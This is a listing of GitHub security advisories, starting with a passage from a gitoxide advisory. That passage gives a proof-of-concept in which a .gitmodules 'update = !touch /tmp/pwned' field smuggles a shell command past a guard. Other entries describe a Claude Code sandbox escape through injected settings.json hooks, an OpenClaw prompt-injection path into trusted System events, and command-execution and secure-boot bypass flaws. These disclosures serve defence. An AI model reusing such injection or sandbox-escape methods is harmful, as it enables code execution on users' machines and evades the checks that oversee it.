-q\n```\n\nFinal state:\n```\n--- .gitmodules:\n[submodule \"sub\"]\n path = sub\n url = /tmp/sub-origin\n update = !touch /tmp/pwned\n--- .git/config (submodule section):\n[submodule \"sub\"]\n active = true\n url = /tmp/sub-origin\n```\n\n**Upstream git on this state:**\n```console\n$ cd /tmp/victim \u0026\u0026 git submodule update\nfatal: invalid value for \u0027submodule.sub.update\u0027\n$ echo $?\n128\n$ test -f /tmp/pwned \u0026\u0026 echo VULNERABLE || echo SAFE\nSAFE\n```\n\n**Gitoxide on the same state:**\n```rust\n// /tmp/gix-repro/main.rs\nlet repo = gix::open(\"/tmp/victim\")?;\nfor sm in repo.submodules()?.expect(\"submodules present\") {\n println!(\"{}: {:?}\", sm.name(), sm.update());\n}\n```\n```console\n$ cargo run\nsub: Ok(Some(Command(\"touch /tmp/pwned\")))\n```\n\nThe `CommandForbiddenInModulesConfiguration` guard never fires.\n\n### Impact\n\n### Direct\n\nAny downstream code built on `gix` that:\n1. Calls `Submodule::update()` to determine the update strategy, and\n2. Trusts that `Update::Command(_)` is safe to execute (because `CommandForbiddenInModulesConfiguration` exists as the documented guard)\n\n\u2026will execute attacker-controlled shell commands on `submodule update` against a previously-initialized submodule.\n\n`gix` itself does not currently ship a `submodule update` implementation, so there is no RCE in the `gix` CLI today. However:\n\n- The `Submodule::update()` API is public at `gix/src/submodule/mod.rs:108` and delegates directly to the vulnerable function.\n- The error variant name (`CommandForbiddenInModulesConfiguration`) and test suite (`valid_in_overrides` at `gix-submodule/tests/file/mod.rs:272`) explicitly document this as the security boundary.\n- Any third-party tool, IDE plugin, or CI integration building submodule-update on top of `gix` inherits this vulnerability.\n\n### Indirect / second-order\n\n- CI/forge integrations that auto-init submodules and then query the update mode\n- Editor/IDE extensions using `gix` for submodule info\n- Gitoxide-based `init` equivalents - any tool that implements its own init (writing `url` to local config) creates the bypass state without needing the pull-after-init sequence",
"id": "GHSA-f26g-jm89-4g65",
"modified": "2026-06-30T17:41:01Z",
"published": "2026-05-05T19:23:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/GitoxideLabs/gitoxide/security/advisories/GHSA-f26g-jm89-4g65"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40034"
},
{
"type": "WEB",
"url": "https://github.com/GitoxideLabs/gitoxide/commit/6a2e6a436f76c8bbf2487f9967413a51356667a0"
},
{
"type": "WEB",
"url": "https://github.com/GitoxideLabs/gitoxide/commit/dd5c18d9e526e8de462fa40aa047acd097cfa7dc"
},
{
"type": "PACKAGE",
"url": "https://github.com/GitoxideLabs/gitoxide"
},
{
"type": "WEB",
"url": "https://red.anthropic.com/2026/cvd/findings/ANT-2026-6SNS6KMP"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/gitoxide-command-injection-via-partial-gitmodules-override-in-gix-submodule"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "gitoxide: CommandForbiddenInModulesConfiguration Bypass in gix_submodule::File::update() Enables Arbitrary Command Execution via .gitmodules"
}
GHSA-FF64-7W26-62RF
Vulnerability from github – Published: 2026-02-06 19:14 – Updated: 2026-02-06 19:14
VLAI
Summary
Claude Code has Sandbox Escape via Persistent Configuration Injection in settings.json
Details
Claude Code's bubblewrap sandboxing mechanism failed to properly protect the .claude/settings.json configuration file when it did not exist at startup. While the parent directory was mounted as writable and .claude/settings.local.json was explicitly protected with read-only constraints, settings.json was not protected if it was missing. This allowed malicious code running inside the sandbox to create this file and inject persistent hooks (such as SessionStart commands) that would execute with host privileges when Claude Code was restarted.
Users on standard Claude Code auto-update received this fix automatically. Users performing manual updates are advised to update to the latest version.
Claude Code thanks hackerone.com/edbr for reporting this issue!
Severity
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"package": {
"ecosystem": "npm",
"name": "@anthropic-ai/claude-code"
},
"ranges": [
{
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"introduced": "0"
},
{
"fixed": "2.1.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25725"
],
"database_specific": {
"cwe_ids": [
"CWE-501",
"CWE-668"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-06T19:14:33Z",
"nvd_published_at": "2026-02-06T18:16:00Z",
"severity": "HIGH"
},
"details": "Claude Code\u0027s bubblewrap sandboxing mechanism failed to properly protect the .claude/settings.json configuration file when it did not exist at startup. While the parent directory was mounted as writable and .claude/settings.local.json was explicitly protected with read-only constraints, settings.json was not protected if it was missing. This allowed malicious code running inside the sandbox to create this file and inject persistent hooks (such as SessionStart commands) that would execute with host privileges when Claude Code was restarted. \n\nUsers on standard Claude Code auto-update received this fix automatically. Users performing manual updates are advised to update to the latest version.\n\nClaude Code thanks hackerone.com/edbr for reporting this issue!",
"id": "GHSA-ff64-7w26-62rf",
"modified": "2026-02-06T19:14:33Z",
"published": "2026-02-06T19:14:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/anthropics/claude-code/security/advisories/GHSA-ff64-7w26-62rf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25725"
},
{
"type": "PACKAGE",
"url": "https://github.com/anthropics/claude-code"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Claude Code has Sandbox Escape via Persistent Configuration Injection in settings.json"
}
GHSA-FG9Q-5CW2-P6R9
Vulnerability from github – Published: 2024-03-07 21:30 – Updated: 2025-03-14 19:54
VLAI
Summary
kubevirt-csi: PersistentVolume allows access to HCP's root node
Details
A flaw was found in the kubevirt-csi component of OpenShift Virtualization's Hosted Control Plane (HCP). This issue could allow an authenticated attacker to gain access to the root HCP worker node's volume by creating a custom Persistent Volume that matches the name of a worker node.
Severity
8.1 (High)
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"ecosystem": "Go",
"name": "github.com/kubevirt/csi-driver"
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"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-202403081943-cc28dcbb0afc14"
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"aliases": [
"CVE-2024-1725"
],
"database_specific": {
"cwe_ids": [
"CWE-501"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-11T20:07:55Z",
"nvd_published_at": "2024-03-07T20:15:50Z",
"severity": "HIGH"
},
"details": "A flaw was found in the kubevirt-csi component of OpenShift Virtualization\u0027s Hosted Control Plane (HCP). This issue could allow an authenticated attacker to gain access to the root HCP worker node\u0027s volume by creating a custom Persistent Volume that matches the name of a worker node.",
"id": "GHSA-fg9q-5cw2-p6r9",
"modified": "2025-03-14T19:54:12Z",
"published": "2024-03-07T21:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1725"
},
{
"type": "WEB",
"url": "https://github.com/kubevirt/csi-driver/commit/cc28dcbb0afca0a7cb8a73bc998ab49f864ed560"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:1559"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:1891"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:2047"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2024-1725"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2265398"
},
{
"type": "PACKAGE",
"url": "https://github.com/kubevirt/csi-driver"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2025-3512"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "kubevirt-csi: PersistentVolume allows access to HCP\u0027s root node"
}
GHSA-G9F5-X53J-H563
Vulnerability from github – Published: 2025-05-30 15:30 – Updated: 2025-06-04 21:00
VLAI
Summary
Prevent GitHub CLI and extensions from executing arbitrary commands from compromised GitHub Enterprise Server
Details
Summary
A security vulnerability has been identified in go-gh where an attacker-controlled GitHub Enterprise Server could result in executing arbitrary commands on a user's machine by replacing HTTP URLs provided by GitHub with local file paths for browsing.
Details
The GitHub CLI and CLI extensions allow users to transition from their terminal for a variety of use cases through the Browser capability in github.com/cli/go-gh/v2/pkg/browser:
- Using the
-w, --webflag, GitHub CLI users can view GitHub repositories, issues, pull requests, and more using their web browser - Using the
gh codespacecommand set, GitHub CLI users can transition to Visual Studio Code to work with GitHub Codespaces
This is done by using URLs provided through API responses from authenticated GitHub hosts when users execute gh commands.
Prior to 2.12.1, Browser.Browse() would attempt to open the provided URL using a variety of OS-specific approaches regardless of the scheme. An attacker-controlled GitHub Enterprise Server could modify API responses to use a specially tailored local executable path instead of HTTP URLs to resources. This could allow the attacker to execute arbitrary executables on the user's machine.
In 2.12.1, Browser.Browse() has been enhanced to allow and disallow a variety of scenarios to avoid opening or executing files on the filesystem without unduly impacting HTTP URLs:
- URLs with
http://,https://,vscode://,vscode-insiders://protocols are supported - URLs with
file://protocol are unsupported - URLs matching files or directories on the filesystem are unsupported
- URLs matching executables in the user's path are unsupported
URLs without protocols will be browsable if none of these other conditions apply.
As we have more information about use cases, maintainers can expand these capabilities for an improved user experience that allows configuring allowed URL schemes and/or prompt the user for an unexpected user case and confirming whether to continue.
Impact
Successful exploitation could cause users of the attacker-controlled GitHub Enterprise Server to execute arbitrary commands.
Remediation and Mitigation
- Upgrade
go-ghto2.12.1
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"id": "GHSA-g9f5-x53j-h563",
"modified": "2025-06-04T21:00:35Z",
"published": "2025-05-30T15:30:39Z",
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}
GHSA-GFMX-PPH7-G46X
Vulnerability from github – Published: 2026-04-09 14:22 – Updated: 2026-04-09 14:22
VLAI
Summary
OpenClaw: Lower-trust background runtime output is injected into trusted `System:` events, and local async exec completion misses the intended `exec-event` downgrade
Details
Impact
Lower-trust background runtime output is injected into trusted System: events, and local async exec completion misses the intended exec-event downgrade.
Lower-trust runtime/background output could be promoted into trusted System events, allowing prompt-injection into later agent turns.
OpenClaw is a user-controlled local assistant. This advisory is scoped to the OpenClaw trust model and does not assume a multi-tenant service boundary.
Affected Packages / Versions
- Package:
openclaw(npm) - Affected versions:
<= 2026.4.2 - Patched versions:
2026.4.8
Fix
The issue was fixed on main and is available in the patched npm version listed above. The verified fixed tree is commit d7c3210cd6f5fdfdc1beff4c9541673e814354d5.
Verification
The fix was re-checked against main before publication, including targeted regression tests for the affected security boundary.
Credits
Thanks @tdjackey for reporting.
Severity
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"ecosystem": "npm",
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],
"github_reviewed": true,
"github_reviewed_at": "2026-04-09T14:22:14Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Impact\n\nLower-trust background runtime output is injected into trusted `System:` events, and local async exec completion misses the intended `exec-event` downgrade.\n\nLower-trust runtime/background output could be promoted into trusted System events, allowing prompt-injection into later agent turns.\n\nOpenClaw is a user-controlled local assistant. This advisory is scoped to the OpenClaw trust model and does not assume a multi-tenant service boundary.\n\n## Affected Packages / Versions\n\n- Package: `openclaw` (npm)\n- Affected versions: `\u003c= 2026.4.2`\n- Patched versions: `2026.4.8`\n\n## Fix\n\nThe issue was fixed on `main` and is available in the patched npm version listed above. The verified fixed tree is commit `d7c3210cd6f5fdfdc1beff4c9541673e814354d5`.\n\n## Verification\n\nThe fix was re-checked against `main` before publication, including targeted regression tests for the affected security boundary.\n\n## Credits\n\nThanks @tdjackey for reporting.",
"id": "GHSA-gfmx-pph7-g46x",
"modified": "2026-04-09T14:22:14Z",
"published": "2026-04-09T14:22:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-gfmx-pph7-g46x"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw: Lower-trust background runtime output is injected into trusted `System:` events, and local async exec completion misses the intended `exec-event` downgrade"
}
GHSA-GQW2-GVRW-VQQG
Vulnerability from github – Published: 2024-03-27 18:32 – Updated: 2024-03-27 18:32
VLAI
Details
A vulnerability in the boot process of Cisco Access Point (AP) Software could allow an unauthenticated, physical attacker to bypass the Cisco Secure Boot functionality and load a software image that has been tampered with on an affected device.
This vulnerability exists because unnecessary commands are available during boot time at the physical console. An attacker could exploit this vulnerability by interrupting the boot process and executing specific commands to bypass the Cisco Secure Boot validation checks and load an image that has been tampered with. This image would have been previously downloaded onto the targeted device. A successful exploit could allow the attacker to load the image once. The Cisco Secure Boot functionality is not permanently compromised.
Severity
5.9 (Medium)
{
"affected": [],
"aliases": [
"CVE-2024-20265"
],
"database_specific": {
"cwe_ids": [
"CWE-501"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-27T17:15:51Z",
"severity": "MODERATE"
},
"details": "A vulnerability in the boot process of Cisco Access Point (AP) Software could allow an unauthenticated, physical attacker to bypass the Cisco Secure Boot functionality and load a software image that has been tampered with on an affected device.\n\n This vulnerability exists because unnecessary commands are available during boot time at the physical console. An attacker could exploit this vulnerability by interrupting the boot process and executing specific commands to bypass the Cisco Secure Boot validation checks and load an image that has been tampered with. This image would have been previously downloaded onto the targeted device. A successful exploit could allow the attacker to load the image once. The Cisco Secure Boot functionality is not permanently compromised.",
"id": "GHSA-gqw2-gvrw-vqqg",
"modified": "2024-03-27T18:32:38Z",
"published": "2024-03-27T18:32:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-20265"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ap-secureboot-bypass-zT5vJkSD"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
No CAPEC attack patterns related to this CWE.